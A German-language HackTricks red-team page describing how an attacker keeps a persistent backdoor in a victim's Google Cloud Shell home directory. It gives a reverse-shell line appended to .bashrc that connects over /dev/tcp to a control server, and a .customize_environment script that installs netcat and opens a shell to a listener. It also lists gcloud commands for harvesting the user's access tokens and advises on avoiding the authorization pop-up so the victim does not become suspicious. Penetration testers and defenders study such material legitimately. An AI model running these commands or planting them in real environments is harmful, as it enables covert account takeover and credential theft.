GCP - Cloud Shell Persistence

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Cloud Shell

Für weitere Informationen siehe:

pageGCP - Cloud Shell Enum

Persistente Hintertür

Google Cloud Shell bietet Ihnen den Zugriff auf die Befehlszeile für Ihre Cloud-Ressourcen direkt über Ihren Browser ohne anfallende Kosten.

Sie können auf die Google Cloud Shell über die Webkonsole oder durch Ausführen von gcloud cloud-shell ssh zugreifen.

Diese Konsole bietet Angreifern einige interessante Möglichkeiten:

  1. Jeder Google-Benutzer mit Zugriff auf Google Cloud hat Zugriff auf eine vollständig authentifizierte Cloud Shell-Instanz (auch Service-Konten können dies, selbst wenn sie Eigentümer der Organisation sind).

  2. Diese Instanz wird ihren Home-Verzeichnis für mindestens 120 Tage beibehalten, wenn keine Aktivität stattfindet.

  3. Es gibt keine Möglichkeiten für eine Organisation, die Aktivität dieser Instanz zu überwachen.

Das bedeutet im Grunde genommen, dass ein Angreifer eine Hintertür im Home-Verzeichnis des Benutzers platzieren kann und solange der Benutzer mindestens alle 120 Tage eine Verbindung zur GC Shell herstellt, wird die Hintertür überleben und der Angreifer wird jedes Mal eine Shell erhalten, wenn sie ausgeführt wird, einfach durch:

echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc

Es gibt eine weitere Datei im Home-Verzeichnis namens .customize_environment, die, wenn sie existiert, jedes Mal ausgeführt wird, wenn der Benutzer auf die Cloud Shell zugreift (wie bei der vorherigen Technik). Fügen Sie einfach die zuvor verwendete Hintertür oder eine ähnliche ein, um die Persistenz aufrechtzuerhalten, solange der Benutzer die Cloud Shell "häufig" verwendet:

#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash

Es ist wichtig zu beachten, dass beim ersten Mal, wenn eine Authentifizierung erfordernde Aktion ausgeführt wird, ein Pop-up-Autorisierungsfenster im Browser des Benutzers erscheint. Dieses Fenster muss akzeptiert werden, bevor der Befehl ausgeführt werden kann. Wenn ein unerwartetes Pop-up erscheint, könnte dies Misstrauen erregen und potenziell die verwendete Persistenzmethode gefährden.

Dies ist das Pop-up, das beim Ausführen von gcloud projects list aus der Cloud Shell (als Angreifer) in der Browsersitzung des Benutzers angezeigt wird:

Wenn der Benutzer jedoch die Cloud Shell aktiv verwendet hat, wird das Pop-up nicht angezeigt und Sie können Benutzertoken sammeln mit:

gcloud auth print-access-token
gcloud auth application-default print-access-token

Wie die SSH-Verbindung hergestellt wird

Grundsätzlich werden diese 3 API-Aufrufe verwendet:

Aber weitere Informationen finden Sie unter https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

Referenzen

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated